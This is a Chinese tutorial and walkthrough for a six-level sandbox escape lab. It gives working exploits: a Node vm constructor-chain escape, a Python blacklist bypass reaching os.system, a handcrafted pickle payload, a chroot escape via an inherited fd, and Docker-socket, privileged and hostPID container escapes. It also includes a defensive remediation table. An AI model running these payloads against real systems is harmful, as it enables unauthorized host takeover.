Sandbox Escape Lab · 沙箱逃逸靶场
先看看沙箱逃逸是什么
定义
沙箱:把一段不可信代码放进一个受限的执行环境,让它在最坏情况下也只能做我们允许它做的事。
这句话包含两项都必须满足的要求,缺一不可:
- 边界:一个明确、可执行的隔离层。代码跑不到边界外面。
- 策略:边界内允许做什么的清单。读文件?发网络?跑多久?占多少内存?
只有边界,没有策略,就等于没有隔离;只有策略,没有边界,就等于只写了一份声明。
沙箱逃逸:被限制的主体取得了策略之外的权限。典型结果是:拿到宿主的文件、宿主的进程、宿主的网络,或者直接拿到宿主 shell。
关键在“策略之外”这四个字。逃逸不是“我把活干完了”,而是“我干了本来不该被允许的事”。
从沙箱内到沙箱外,通道只有三类
- 引用回指:沙箱想隐藏功能,却留下了生成功能的入口
语言级沙箱隔离的是名字,而不是对象来源。你把 require、process、os 从作用域里删掉,但沙箱里每个字面量仍然是宿主 Realm 创建的对象;它的 constructor、class、globals 都指回宿主。顺着这些引用往上爬,就能重新构造出你删掉的功能。
L1 的 this.constructor.constructor(‘return process’)() 就是这条链最短的形式;L2 的 getattr 拼接、L3 的限定名解析,本质相同,只是绕过了过滤器。
- 句柄漏出:已经打开的内核对象不会随沙箱改变
隔离层改变的是路径解析(chroot 把 / 换掉)或可见性(容器看不到宿主的进程),但已经打开的东西包括 fd、socket、挂载点、mmap、环境变量,不随这些变化。
L4 是最清楚的教学材料:/flag_l4 在 chroot 之后确实看不见了,但父进程早就把指向外部 / 的 fd 递了进来,fchdir(3) 一步就出去了。L5 同理:容器文件系统隔离得很严,但 docker.sock 这个宿主 API 的句柄被手递手送进了容器。
- 边界实现缺陷:边界写错了,或者参数给宽了
内核漏洞(CVE-2022-0185、Dirty Pipe、CVE-2019-5736 覆盖 runc)、cgroup release_agent 之类属于“实现有 bug”;privileged: true、pid: host、—cap-add=SYS_ADMIN 属于“参数给宽了”。
L6 属于后者,也是现实中占比最高的一类,因为没人给你打补丁,错误配置会一直存在。
Tips — 一个必须分清的概念:bypass ≠ escape
策略绕过:还在沙箱里,只是让过滤器失效了。拿到的权限没有超出运行沙箱的那个进程本身。我靶场里的 L2、L3 严格说属于这一类:黑名单绕过、白名单绕过。 边界逃逸:跨到了另一个信任域,权限级别变了。L4、L5、L6 才是。
真实世界长什么样
-
浏览器:先打 V8 的 JIT 类型混淆(如 CVE-2020-6418)拿到渲染进程 RCE,这只是第一步;第二步要打 Chrome 的进程沙箱(seccomp-bpf + 命名空间)才算完整逃逸。所以浏览器漏洞通常按“两段式”定价。
-
容器:CVE-2019-5736(runc 覆写宿主二进制)、CVE-2022-0492(cgroup release_agent),都是“容器里 root → 宿主 root”。
-
语言级沙箱基本被判死刑:Node 官方文档直接写 vm 不是安全机制;vm2 这个曾经的 Node 沙箱库被连续打穿,作者 2023 年弃更;Java 的 SecurityManager 从 JDK 17 弃用、JDK 24 彻底移除。
-
多租户跑代码的正解:Firecracker 这类 microVM,一个租户一台轻量虚机,配双重隔离。
防御
-
逃逸面与你递进去的东西正相关。 能不给的句柄一律不给;L4 的那个 fd、L5 的那个 socket,都是“为了省事”递进来的。
-
策略用白名单,边界用内核或硬件。 黑名单的宿命是漏,而且你永远想不全。
-
纵深防御。 语言级 + 进程级 + 容器 + microVM,任何一层破掉都不该是终局。
-
最小权限。 privileged 基本等于“我放弃隔离了”;capability 按需给,no_new_privs、只读挂载、seccomp 默认拒绝。
Sandbox Escape Lab · 沙箱逃逸靶场
六关,六种隔离手段,六个洞。目标统一:从沙箱里逃出去,读走 flag。
前面四关是语言 / 系统调用级别的沙箱(Node 的 vm、Python 黑名单、
pickle 白名单、chroot),在浏览器里直接打;后面两关是容器级的
(Docker socket、privileged + hostPID),要进容器敲命令。
L1 8900 页面上 Node.js vm.createContextL2 8900 页面上 Python 关键字黑名单 + 阉割 builtinsL3 8900 页面上 pickle + 模块白名单L4 8900 页面上 chroot + 继承的 fdL5 终端 /var/run/docker.sock 挂进容器L6 终端 privileged + pid=host快速开始
cd sandbox-escape./setup.sh # 或在仓库根目录 ./lab.sh up然后打开 **http://127.0.0.1:8900/**。
一键验证前四关(先自己打,打不动再看):
python3 poc/verify.pyL5 / L6:
docker exec -it sbox-sock bashdocker exec -it sbox-priv bash关卡设计与解答
| # | 关卡 | 沙箱做对了什么 | 洞在哪 |
|---|---|---|---|
| L1 | Node.js vm | 干净上下文,没有 process / require | 上下文对象仍属于宿主 realm,constructor.constructor 直通宿主 Function |
| L2 | Python 黑名单 | 拦了 11 个关键字,builtins 只留计算器该有的 | 黑名单只匹配字面量;getattr + 字符串拼接绕过 |
| L3 | pickle 白名单 | find_class 卡住模块名 | qualname 里的点号会被展开成属性链,白名单模块 import 过的都是跳板 |
| L4 | chroot | 把 / 换成 /jail | 父进程把 / 的 fd 传进来了,fchdir + chroot(".") 原路返回 |
| L5 | Docker socket | —— | socket 等于免密 root,能进任何容器、起任何容器 |
| L6 | privileged + hostPID | —— | 共享宿主 PID 命名空间,/proc/1/root 就是宿主根 |
L1 —— vm 为什么不是沙箱
Node 文档原话:The vm module is not a security mechanism.vm.createContext() 隔离的是变量作用域,不是 Realm。沙箱里拿到的每个对象(包括字面量)都来自宿主进程的 Realm,它们的 constructor 指向宿主的构造函数。
看源码
// =============================================================================// L1 执行器:把用户代码丢进 Node 的 vm 模块里跑// =============================================================================// vm.createContext() 造出来的「干净上下文」里没有 process、没有 require、// 没有 Buffer —— 看起来像个沙箱,但 Node 官方文档写得很直白://// "The vm module is not a security mechanism.// Do not use it to run untrusted code."//// 原因:沙箱里的对象本质上还是**宿主 realm 的对象**。只要拿到任意一个对象,// 就能顺着 constructor 链摸到宿主 realm 的 Function 构造函数,// 用它 new 出来的函数是宿主作用域里的函数,作用域链最顶端就是 global。//// 这一关要你自己找到那条链。// =============================================================================
const vm = require('vm');const fs = require('fs');const util = require('util');
let code = '';try { code = fs.readFileSync(0, 'utf8'); // 从 stdin 读用户代码} catch (e) { console.error('[sandbox] 读不到输入'); process.exit(0);}
// 沙箱里只给一个 print —— 相当于真实产品里那种「计算器 / 表达式求值」接口const sandbox = { print: (v) => process.stdout.write(String(v) + '\n'),};
const ctx = vm.createContext(sandbox, { name: 'sandbox' });
try { // timeout 只挡得住同步死循环,挡不住逃逸 —— 逃出去之后是宿主进程在跑 const result = vm.runInContext(code, ctx, { timeout: 1000, displayErrors: true }); if (result !== undefined) { process.stdout.write('[sandbox] ' + util.inspect(result) + '\n'); }} catch (e) { const name = e && e.name ? e.name : 'Error'; const msg = e && e.message ? e.message : String(e); console.error('[sandbox] ' + name + ': ' + msg);}顺三次就到宿主:
this.constructor // 宿主 Object .constructor // 宿主 Function ('return process')() // 宿主作用域里执行 —— process 回来了 .mainModule.require('fs') // require 也回来了真正要隔离不可信 JS,只能上独立进程 / 单独的系统调用过滤(如
isolated-vm、或者干脆丢进另一个容器)。
答题
Node.js vm —— 语言级沙箱的经典误区javascript · vm.createContext目标 /flag_l1平台用 vm.createContext() 造了个「干净上下文」,里面没有 process、require、Buffer,只给了你一个 print()。代码的最后一行会被当成结果打印出来。但 Node 官方文档写着:vm 不是安全机制。为什么?沙箱里没有 process,但沙箱里的每一个对象都属于宿主 Realm。取一个字面量的 constructor,再取它 constructor,就是宿主的 Function ——它 new 出来的函数在宿主作用域执行,return process 就把它要回来了。
粘进页面:
this.constructor.constructor('return process')() .mainModule.require('fs').readFileSync('/flag_l1', 'utf8')回显:[sandbox] 'FLAG{sandbox_escape_node_vm_1a2b}\n'(util.inspect 会给字符串加引号)。
为什么能成:
vm.runInContext 换的是 global 对象,不是 Realm。Function 构造函数属于宿主编译出来的那个 Realm,它的 [[Realm]] 里有 process。
卡点:this 在沙箱顶层指向的是 context 的 global 代理,this.constructor能拿到宿主 Object;如果写 ({}).constructor 效果一样。
process.mainModule 只在 CommonJS 入口下存在 —— 本关卡就是 node xxx.js 起的,所以有。ESM 入口下得换 process.binding 之类的路子。
L2 —— 黑名单永远漏东西
看源码
#!/usr/bin/env python3# =============================================================================# L2 执行器:关键字黑名单 + 阉割版 builtins# =============================================================================# 这是真实世界最常见、也最没用的一种「沙箱」:正则/子串黑名单。# 它只能拦住**字面量**。而 Python 里「名字」是可以在运行时拼出来的:## '_' + '_class_' + '_' → __class__# getattr(obj, 拼出来的名字) → 拿到原本被关键字挡住的属性## 所以黑名单里每个被漏掉的名字都是一个洞。本关的黑名单是照着# 「一个只想到 os / import / open 的开发者」写的 —— 看看漏了谁。## 注意:沙箱代码是独立子进程跑的,所以它的输出(包括 system() 这类# 直接写 fd 1 的东西)都会原样回到页面上。# =============================================================================
import sys
# 开发者能想到的危险词,全在这里了(他以为)BLACKLIST = [ "import", "open", "eval", "exec", "__", "os", "subprocess", "builtins", "globals", "compile", "breakpoint",]
# 只留「计算器该有的」内置函数。看起来人畜无害 —— 真的吗?ALLOWED_BUILTINS = { "print": print, "len": len, "range": range, "str": str, "int": int, "float": float, "bool": bool, "list": list, "dict": dict, "tuple": tuple, "set": set, "sum": sum, "min": min, "max": max, "abs": abs, "sorted": sorted, "enumerate": enumerate, "zip": zip, "repr": repr, "format": format, "chr": chr, "ord": ord, "isinstance": isinstance, "getattr": getattr, "hasattr": hasattr,}
def report_hits(src): """把命中的词连同行号、列号和那一行原文一起打出来。
真实世界的黑名单大多只回一句 "contains forbidden word",让人自己肉眼找。 这里多给一点定位信息 —— 不代表它变强了,只是少浪费你十分钟。 """ found = [] for lineno, line in enumerate(src.splitlines(), 1): for word in BLACKLIST: col = line.find(word) if col >= 0: found.append((word, lineno, col + 1, line)) if not found: return False
print("[sandbox] 拒绝执行:命中黑名单") for word, lineno, col, line in found: text = line if len(line) <= 72 else line[:72] + "…" print(" %r 第 %d 行第 %d 列" % (word, lineno, col)) print(" %4d | %s" % (lineno, text)) print(" 提示:黑名单扫的是**全文**,字符串、注释、变量名里" "出现连续两个下划线都算。") return True
def main(): src = sys.stdin.read()
if report_hits(src): return
g = {"__builtins__": ALLOWED_BUILTINS} try: exec(compile(src, "<sandbox>", "exec"), g) except BaseException as e: # noqa: BLE001 —— 用户代码什么都能抛 print("[sandbox] %s: %s" % (type(e).__name__, e))
if __name__ == "__main__": main()页面源码里能看到黑名单和允许的 builtins。关键是两个事实:
- 黑名单匹配的是字符串,而 Python 的名字可以在运行时拼出来:
'_' + '_class_' + '_'里没有连续的__,但拼出来就是__class__。 - 允许列表里留了
getattr(“看起来人畜无害”),它正好能把拼出来的名字当属性名用。
于是 ().__class__.__bases__[0].__subclasses__() 这一条经典链就通了,在子类里找一个 __init__.__globals__ 含 system 的(os._wrap_close),直接 system('cat /flag_l2')。
黑名单这条路本身是走不通的 —— 要么白名单(且白名单要能穷举),要么不用exec(真正的隔离只能靠进程 / 容器 / seccomp)。
答题
Python 关键字黑名单 —— 只拦得住字面量python · 子串黑名单 + 阉割 builtins目标 /flag_l2管理员写了 11 个关键字黑名单,还把 builtins 削成了计算器该有的样子。 只要你的代码里出现黑名单里的词,直接拒执行。但黑名单里漏了一个函数—— 那个函数能把「运行时拼出来的字符串」当属性名用。黑名单有 11 个词,getattr 不在里面 —— 这是唯一的突破口。因为
__class__ 这类属性名可以在运行时拼出来,而黑名单匹配的是源码里的字面量。
t = getattr((), '_' + '_class_' + '_') # tupleo = getattr(t, '_' + '_ba' + 'ses_' + '_')[0] # objectfor k in getattr(o, '_' + '_sub' + 'classes' + '_')(): i = getattr(k, '_' + '_in' + 'it_' + '_', None) g = getattr(i, '_' + '_glo' + 'bals_' + '_', None) if isinstance(g, dict) and 'system' in g: g['system']('cat /flag_l2') break这里出现报错,AttributeError: type object 'object' has no attribute '__subclasses_' ,Python 找不到的属性名是 _subclasses,只有一个结尾下划线。
即name = '_' + '_subclasses_',只拼接了前面的 _,漏掉了后面那个。
修正:
d = '_' * 2t = getattr((), d + 'class' + d) # tupleo = getattr(t, d + 'ba' + 'ses' + d)[0] # objectfor k in getattr(o, d + 'sub' + 'classes' + d)(): # object.__subclasses__() i = getattr(k, d + 'in' + 'it' + d, None) g = getattr(i, d + 'glo' + 'bals' + d, None) if isinstance(g, dict) and 'system' in g: g['system']('cat /flag_l2') break返回拒绝执行:命中黑名单 ['__'],是因为代码里某处出现了连续两个下划线。
再修:
d = '_' * 2t = getattr((), d + 'class' + d)o = getattr(t, d + 'ba' + 'ses' + d)[0]for k in getattr(o, d + 'sub' + 'classes' + d)(): i = getattr(k, d + 'in' + 'it' + d, None) g = getattr(i, d + 'glo' + 'bals' + d, None) if isinstance(g, dict) and 'system' in g: g['system']('cat /flag_l2') break回显里直接出现 FLAG{sandbox_escape_py_blacklist_3c4d}(system() 写的是 fd 1,子进程的输出会原样回来)。
为什么能成:getattr + 字符串拼接 = 任意属性访问。__subclasses__()
里能翻到 os._wrap_close,它的 __init__.__globals__ 就是 os 模块的
全局字典,里面有 system。
卡点:
- 别直接写
__class__,会命中__。 '_' + '_class_' + '_'拼出来才是__class__,源码里没有连续的__。- 环境里没有
os这个名字,别想__import__—— 它是 builtins,被削了; 只用getattr+ 拼名字。 - 有些子类没有
__init__(比如type自己的实例),所以要给getattr(..., None)兜底。
L3 —— 白名单校验了模块,没校验限定名
看白名单
#!/usr/bin/env python3# =============================================================================# L3 执行器:给 pickle 加一个「模块白名单」# =============================================================================# 思路是对的 —— pickle 的危险全在 find_class(GLOBAL / STACK_GLOBAL 指令# 会按 "模块名.属性名" 去 import 并取属性),把模块卡住就行。## 但这个实现漏了一个细节:STACK_GLOBAL 推上来的是两个字符串,# module 和 name。name 是**限定名**,可以带点号:## STACK_GLOBAL("models", "subprocess.check_output")## 白名单校验的是 module("models" 合法),然后 super().find_class() 会# 按点号往 models 里一层层取属性 ——## models → models.subprocess → models.subprocess.check_output## 于是被放行的模块里 import 过的一切,都成了你的跳板。## 修法只有一条:白名单要校验「模块 + 完整限定名」,或者干脆别 pickle# 不可信数据(改用 JSON)。# =============================================================================
import base64import ioimport osimport pickleimport sys
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))import models # noqa: E402 —— 必须真的 import 进来,否则 sys.modules 里没有它
# 只允许业务对象所在模块;其他一律拒ALLOWED_MODULES = {"models"}
class SafeUnpickler(pickle.Unpickler): def find_class(self, module, name): # 这里只看了 module,没看 name 里的点号 if module not in ALLOWED_MODULES: raise pickle.UnpicklingError("模块 %r 不在白名单里(只允许 %s)" % (module, sorted(ALLOWED_MODULES))) return super().find_class(module, name)
def main(): raw = sys.stdin.read().strip() if not raw: print("[sandbox] 没有收到数据") return try: data = base64.b64decode(raw, validate=True) except Exception: print("[sandbox] 载荷不是合法的 base64") return
try: obj = SafeUnpickler(io.BytesIO(data)).load() except Exception as e: print("[sandbox] 反序列化失败:%s: %s" % (type(e).__name__, e)) return
print("[sandbox] 反序列化得到的对象:%r" % (obj,))
if __name__ == "__main__": main()看models.py
# =============================================================================# L3 的「业务模块」—— 看起来只是一堆数据类# =============================================================================# 反序列化白名单只放行了 {models} 这一个模块,因为它就是你的业务对象所在处。# 但业务模块总得干点活:这里 version() 要调 git / 打包工具,于是文件顶部# import 了 os 和 subprocess。## 记住这一点:白名单放行的是**模块**,模块里的 import 也跟着一起被放行了。# =============================================================================
import osimport subprocess
class Point: """一个二维点。示例载荷就是它,序列化后 module=models, name=Point。"""
def __init__(self, x=0, y=0): self.x = x self.y = y
def __repr__(self): return "Point(x=%r, y=%r)" % (self.x, self.y)
class Tag: """一个标签。"""
def __init__(self, name="", color="#888888"): self.name = name self.color = color
def __repr__(self): return "Tag(%r, %r)" % (self.name, self.color)
def version(): """取一下构建版本号(打包脚本和 git 都可能不可用,所以有兜底)。""" try: return subprocess.check_output(["git", "describe", "--always"]).decode().strip() except Exception: return "unknown"pickle 在还原对象时,STACK_GLOBAL 指令会压入两个字符串:module 和
name。name 是限定名,可以带点号,Unpickler.find_class() 内部会用
_getattribute() 按点号一层层取属性。
自定义 find_class 只看了 module:
if module not in ALLOWED_MODULES: # "models" 合法 raise ...return super().find_class(module, name) # name = "subprocess.check_output"models.py 顶部 import subprocess,所以
models → models.subprocess → models.subprocess.getoutput载荷是手拼的(6 个 opcode):
PROTO 4SHORT_BINUNICODE "models"SHORT_BINUNICODE "subprocess.getoutput"STACK_GLOBALSHORT_BINUNICODE "cat /flag_l3"TUPLE1REDUCESTOP修法:白名单要校验模块 + 完整限定名(or 用 pickle.Unpickler 的
find_class 只放行几个具体类),更彻底的做法是别对不可信数据用 pickle。
答题
pickle 反序列化 —— 白名单只校验了模块名python · pickle · find_class目标 /flag_l3接口收 base64 的 pickle 数据,用自定义 find_class 卡住了模块名: 只有业务模块 models 被放行。看起来没问题。但 STACK_GLOBAL 压上来的是两个字符串:module 和 name。 name 是限定名,可以带点号。白名单卡的是 module,但 STACK_GLOBAL 的 name 是限定名,
super().find_class() 会用 _getattribute() 按点号展开:
module = "models" ← 白名单放行name = "subprocess.getoutput" ← 点号一路取到 subprocess.getoutputmodels.py 顶部 import subprocess,所以这条链是通的。
手拼载荷(6 个 opcode,在本地跑就行):
import base64
def su(s): b = s.encode() return b"\x8c" + bytes([len(b)]) + b # SHORT_BINUNICODE
payload = ( b"\x80\x04" # PROTO 4 + su("models") + su("subprocess.getoutput") + b"\x93" # STACK_GLOBAL + su("cat /flag_l3") + b"\x85" # TUPLE1 + b"R." # REDUCE + STOP)print(base64.b64encode(payload).decode())把输出gASMBm1vZGVsc4wUc3VicHJvY2Vzcy5nZXRvdXRwdXSTjAxjYXQgL2ZsYWdfbDOFUi4=粘到页面的 L3 输入框,点「反序列化」:
[sandbox] 反序列化得到的对象:'FLAG{sandbox_escape_pickle_attr_5e6f}\n'这50个字节是
0: \x80 PROTO 4 2: \x8c SHORT_BINUNICODE 'models' 10: \x8c SHORT_BINUNICODE 'subprocess.getoutput' 32: \x93 STACK_GLOBAL 33: \x8c SHORT_BINUNICODE 'cat /flag_l3' 47: \x85 TUPLE1 48: R REDUCE 49: . STOP- \x80\x04:声明协议版本 4。必须 ≥4,因为低版本走 getattr(module, name) 的整串查找,点号不会被展开成属性链,这关就打不通。
- \x8c + 长度字节 + 字符串:su() 生成的就是这个。\x8c\x06models 里的 \x06 是 “models” 的 6 个字节,\x8c\x14 的 0x14 就是 20,正好是 “subprocess.getoutput” 的长度。
- \x93 STACK_GLOBAL:从栈上取两个字符串,调用 find_class(module, name)。白名单只检查了前一个,也就是 models。
- \x85 TUPLE1:把栈顶的命令字符串打包成单元素元组 (‘cat /flag_l3’,),因为 REDUCE 需要参数元组。
- R REDUCE:执行 callable(*args),这里等价于 subprocess.getoutput(‘cat /flag_l3’)。
- . STOP:结束,栈顶对象就是 load() 的返回值,被 print(“%r”) 打出来。
为什么能成:见上。getoutput 返回字符串,正好被 print("%r") 打出来。
卡点:
- 必须是 protocol ≥ 4(
\x80\x04),低版本协议走的是getattr而不是 点号展开,绕不过去。 module别写成models.subprocess—— 白名单比对的是整个字符串。- 想看清楚载荷结构,
pickletools.dis(payload)一行行给你翻译。 - 想换成读文件也行:
subprocess.check_output+ 参数列表(要多几个 opcode 拼 list),或者用models.os这条链 ——models.py也 import 了 os。
L4 —— chroot 不是安全边界
看源码:
#!/usr/bin/env python3# =============================================================================# L4 执行器:chroot 文件沙箱# =============================================================================# chroot 只改「进程看到的 / 是哪一层目录」,它不创建新的命名空间、# 不限制系统调用、也不回收已经打开的文件描述符。## 所以 chroot 的唯一有效性来自一个前提:**沙箱里没有任何指向外部的句柄**。# 只要进程手里还捏着一个 jail 外的目录 fd,就能## os.fchdir(fd) # 把 cwd 挪回 jail 外面# os.chroot(".") # 把根重新设成 jail 外面## 跑回来。本关的 bug 就在下面第 3 步:父进程为了把审计日志写到容器外,# 提前打开 "/" 并以 fd 3 交给沙箱进程 —— 这个 fd 就是那道后门。## 现实对照:容器逃逸里常见的「挂进来的 socket / 保留的 fd / 未关闭的# 目录句柄」是同一类问题。sandbox 的边界一旦有句柄漏出去就不再是边界。# =============================================================================
import osimport resourceimport sys
JAIL = "/jail"LOG_FD = 3 # 审计日志的落盘句柄(父进程预先打开,见下面 open+dup2)
def run_in_jail(code: str) -> None: # 1. 打开「外部根」,固定成 fd 3 —— 这是本关唯一的漏洞 outer = os.open("/", os.O_RDONLY | os.O_DIRECTORY) os.dup2(outer, LOG_FD, inheritable=True)
# 2. 收缩视野:此后 / 就是 /jail os.chroot(JAIL) os.chdir("/")
# 3. 限制 CPU 时间,防止死循环把父进程一起拖死 resource.setrlimit(resource.RLIMIT_CPU, (3, 3))
# 4. 沙箱里给的东西:os(「文件沙箱」总得有文件操作)+ 内置 print/open g = { "__builtins__": __builtins__, "os": os, "sys": sys, "print": print, "open": open, } try: exec(compile(code, "<jail>", "exec"), g) except BaseException as e: # noqa: BLE001 print("[jail] %s: %s" % (type(e).__name__, e))
def main(): # 先把要用到的都读完,chroot 之后就读不到 stdin 了(其实是还能读, # 但子进程里没有必要) code = sys.stdin.read()
pid = os.fork() if pid == 0: try: run_in_jail(code) finally: sys.stdout.flush() sys.stderr.flush() os._exit(0)
os.waitpid(pid, 0)
if __name__ == "__main__": main()chroot 只改「这个进程眼里的 / 是哪一层目录」。它不建命名空间、
不拦系统调用、也不回收已经打开的文件描述符。
所以 chroot 的有效性依赖一个前提:沙箱里没有任何指向外部的句柄。
本关的 bug 是父进程为了把审计日志写到容器外,提前 open("/") 并
dup2 成 fd 3 交给沙箱 —— 这个 fd 就是出口:
os.fchdir(3) # cwd 挪回 jail 外面os.chroot(".") # 根也挪出去(进程是 root,没人拦)os.chdir("/")open("/flag_l4").read()现实里的对应物:容器逃逸时”挂进来的 socket / 没关的目录 fd / 泄漏的
/proc/self/fd”都是同一类问题。
答题
chroot —— 只改视野,不回收句柄python · chroot + 继承的 fd目标 /flag_l4沙箱用 chroot("/jail") 把你关起来,之后 / 就是 /jail。flag 在 /flag_l4,jail 外面。但父进程为了把审计日志写到容器外,提前打开了 / 并以 fd 3 传了进来。这个 fd 就是出口。沙箱进程是 root,chroot 之后 / 就是 /jail。但父进程在 chroot 之前
打开了 /,dup2 成 fd 3 传进来(“审计日志的落盘句柄”)。
print("jail 里的 / :", os.listdir("/"))os.fchdir(3) # cwd 挪到 fd 3 指向的目录(jail 外面)os.chroot(".") # 把根也设成那里os.chdir("/")print(open("/flag_l4").read())回显:
jail 里的 / : ['readme.txt', 'data']FLAG{sandbox_escape_chroot_fd_7a8b}为什么能成:chroot 不回收 fd。fd 3 指的 inode 在 jail 外面,
fchdir 直接把 cwd 放了出去,再 chroot(".") 就把根换了。
之所以能 chroot 第二次,是因为进程还是 root(CAP_SYS_CHROOT)。
卡点:
- 不知道 fd 几号的话,可以
for i in range(3, 12): os.fchdir(i)试 —— 本关是 3。 os.chdir("/..")是没用的:..到 chroot 的根就到顶了,出不去。 这不是”用..逃 chroot”的经典玩法,本质是外部 fd。- 顺序不能反:先
fchdir再chroot(".");先 chroot 的话相对路径就变了。
L5 —— 挂着 socket 的容器等于宿主
题目有神秘提示:
能连上 socket,就等于拿到了 root@宿主机 —— 起容器、进容器、 挂宿主机目录,全都不用密码。最简单的验证:直接对 vault 下一条 exec 指令。想理解原理就别用 CLI,用 POST /containers/{id}/exec + POST /exec/{id}/start 自己拼一遍。sbox-sock 挂载了宿主机的 /var/run/docker.sock。这个 socket 是 Docker
守护进程的完整 API 入口,没有鉴权 —— 谁连上谁就是 root。
sbox-vault 没开端口、没给 shell,只放了一个 /flag_l5。但从 runner 里:
docker exec sbox-vault cat /flag_l5或者不用 CLI,直接拼 API(脚本化时更常见):
# 1. 建 execcurl --unix-socket /var/run/docker.sock -s \ -H 'Content-Type: application/json' \ -d '{"AttachStdout":true,"Cmd":["cat","/flag_l5"]}' \ http://localhost/containers/sbox-vault/exec# 2. 启动它,输出直接流回来curl --unix-socket /var/run/docker.sock -s \ -H 'Content-Type: application/json' \ -d '{"Detach":false,"Tty":true}' \ http://localhost/exec/<ExecId>/start更狠的一步是起一个 -v /:/host --privileged 的容器,宿主根目录就挂进来了。
修法:不要挂 socket;必须挂的话用 socket proxy 做 API 白名单,或者用 rootless / 无特权构建方案。
解题
docker exec -it sbox-sock bashdocker ps能看到 sbox-vault(就是目标容器)。最直接的一条:
docker exec sbox-vault cat /flag_l5不用 CLI、纯 API 的走法(两段式,exec 是”创建” + “启动”):
# 1) 创建 exec 实例curl --unix-socket /var/run/docker.sock -s \ -H 'Content-Type: application/json' \ -d '{"AttachStdout":true,"AttachStderr":true,"Cmd":["cat","/flag_l5"]}' \ http://localhost/containers/sbox-vault/exec
# → {"Id":"<ExecId>"}
# 2) 启动并拿输出curl --unix-socket /var/run/docker.sock -s \ -H 'Content-Type: application/json' \ -d '{"Detach":false,"Tty":true}' \ http://localhost/exec/<ExecId>/start拿到 flag:FLAG{sandbox_escape_docker_sock_9c0d}
为什么能成:docker.sock 是守护进程的完整 API,没有鉴权 —— 能连上
就是 root@宿主。exec 只是最省事的一种;起容器挂宿主机目录更狠:
docker run --rm --privileged -v /:/host alpine chroot /host cat /lab-escape/l6.flag(这一条顺手把 L6 也打了 —— 概念上是”用 L5 的手段完成 L6 的目标”。)
卡点:
docker ps报权限问题的话,确认 socket 挂对了:ls -l /var/run/docker.sock。- 用 python 更稳(stdlib 的
http.client支持 unix socket),CLI 版本 和守护进程不匹配时用DOCKER_API_VERSION兜底。
L6 —— privileged + pid: host
神秘提示:
--pid=host 让容器看见宿主的进程表,--privileged 给了足够的 capability 去穿过 /proc。 于是 /proc/1/root 就是宿主 PID 1 的根目录。 等价的另一条路是用 nsenter -t 1 -m -u -i -n -p 直接进宿主的各个命名空间。macOS / Windows 上你逃到的是 Docker Desktop 的 Linux VM,不是 macOS 本身 —— 这恰恰说明容器不是虚拟机。privileged: true 给了几乎全部 capability,pid: host 让容器和宿主共享
PID 命名空间。两个加在一起,/proc 里出现的就是宿主的进程表,
于是 /proc/1/root 直接指向宿主根文件系统:
cat /proc/1/root/lab-escape/l6.flag等价的另一条路是 nsenter -t 1 -m -u -i -n -p,进宿主的所有命名空间。
macOS / Windows 上你逃到的是 Docker Desktop 的 Linux VM,不是 macOS 本身。 这一条不是”靶场不真实”,而是容器隔离模型的准确体现:容器不是虚拟机, 它和宿主共享内核,而 Docker Desktop 的”宿主”本来就是那台 VM。
解题
docker exec -it sbox-priv bash
ls /proc | grep -E '^[0-9]+$' | wc -l # 318 —— 宿主那台 VM 的进程表cat /proc/1/cmdline; echo # /initd:Docker Desktop 的 VM initls /lab-escape # 没有:不在容器的 rootfs 里cat /proc/1/root/lab-escape/l6.flag拿到 flag:FLAG{sandbox_escape_privileged_host_1e2f}
等价的 nsenter 走法(镜像里自带 util-linux,直接能用):
nsenter -t 1 -m -u -i -n -p -- cat /lab-escape/l6.flag为什么能成:--pid=host 共享宿主 PID 命名空间 → 能看见宿主 PID 1;
--privileged 给了 CAP_SYS_PTRACE / CAP_SYS_ADMIN → 能穿过 /proc/<pid>/root
进别人的 mount namespace。/proc/1/root 就是宿主根。
卡点:
- 只给
--pid=host不给--privileged的话,读/proc/1/root会被Permission denied(缺CAP_SYS_PTRACE)。 - 文件不在容器里,别在
/下面找。 - macOS / Windows 上”宿主”是 Docker Desktop 的 Linux VM —— 这是对的, 容器共享的是那台 VM 的内核。
目录结构
sandbox-escape/├── Dockerfile # 主镜像(python + 借来的 node 二进制)├── compose.yml # 四个容器├── setup.sh # 一键起 + 铺 L6 的 flag├── sock/Dockerfile # L5 的 CI runner 镜像├── flags/ # 六个 flag├── src/│ ├── server.py # 调度服务(只用标准库)│ ├── sandbox/│ │ ├── l1_run.js # L1 执行器:vm.createContext│ │ ├── l2_run.py # L2 执行器:黑名单 + 阉割 builtins│ │ ├── l3_run.py # L3 执行器:pickle 模块白名单│ │ ├── l4_run.py # L4 执行器:chroot(带那个 fd)│ │ └── models.py # L3 的业务模块(白名单放行的那个)│ ├── jail/ # chroot 的牢房│ └── web/ # 页面├── poc/verify.py # L1~L4 一键验证└── answer/ANSWERS.md # 六关答案几处实现说明(踩过的坑)
页面上的输出为什么能拿到 system() 的结果?
每个关卡的用户代码都在独立子进程里跑(subprocess.run + 10 秒超时),
子进程的 stdout/stderr 原样回到页面。所以 system('cat /flag') 这种
直接写 fd 1 的输出也能看到 —— 如果用 contextlib.redirect_stdout 在
进程内重定向,反而会丢(system 写的是 fd,不是 Python 的 sys.stdout)。
为什么 L4 的 chroot 不影响服务本身?
l4_run.py fork 出子进程才 chroot,父进程(服务)的根一直是容器根。
为什么主镜像要用 node 的二进制而不是 apt 装 nodejs?
L1 的 runner 只用内置的 vm / fs,没有 node_modules,复制一个静态
一点的 node 二进制比装整个发行版快得多。node 20 在 bookworm 上编译,
跑在 trixie 的 python 镜像里,glibc 向下兼容,没问题。
L6 的 flag 为什么要放到宿主根目录?
因为它必须”容器里看不到、宿主上看得到”,否则 /proc/1/root 就读不到。
setup.sh 用一个挂了 /:/host 的一次性容器来写,这样 macOS / Linux
都不用特判。Linux 上是真宿主,只多一个 /lab-escape/ 目录:
./setup.sh --clean # 删掉它修复对照
| 关卡 | 错误做法 | 正确做法 |
|---|---|---|
| L1 | vm.createContext 跑不可信代码 | 独立进程 + 权限剥离;或用 isolated-vm |
| L2 | 关键字黑名单 + exec | 不要 exec 不可信代码;必须解释执行就用白名单 AST 或独立进程 |
| L3 | pickle + 模块白名单 | 校验完整限定名;换 JSON / MessagePack |
| L4 | chroot + 传进来的 fd | 不传句柄;用 pivot_root + 命名空间 + no_new_privs |
| L5 | 挂 docker.sock | 不挂;用 socket proxy 做 API 白名单 |
| L6 | privileged + pid: host | 只给需要的 capability,去掉 hostPID |
文章分享
如果这篇文章对你有帮助,欢迎分享给更多人!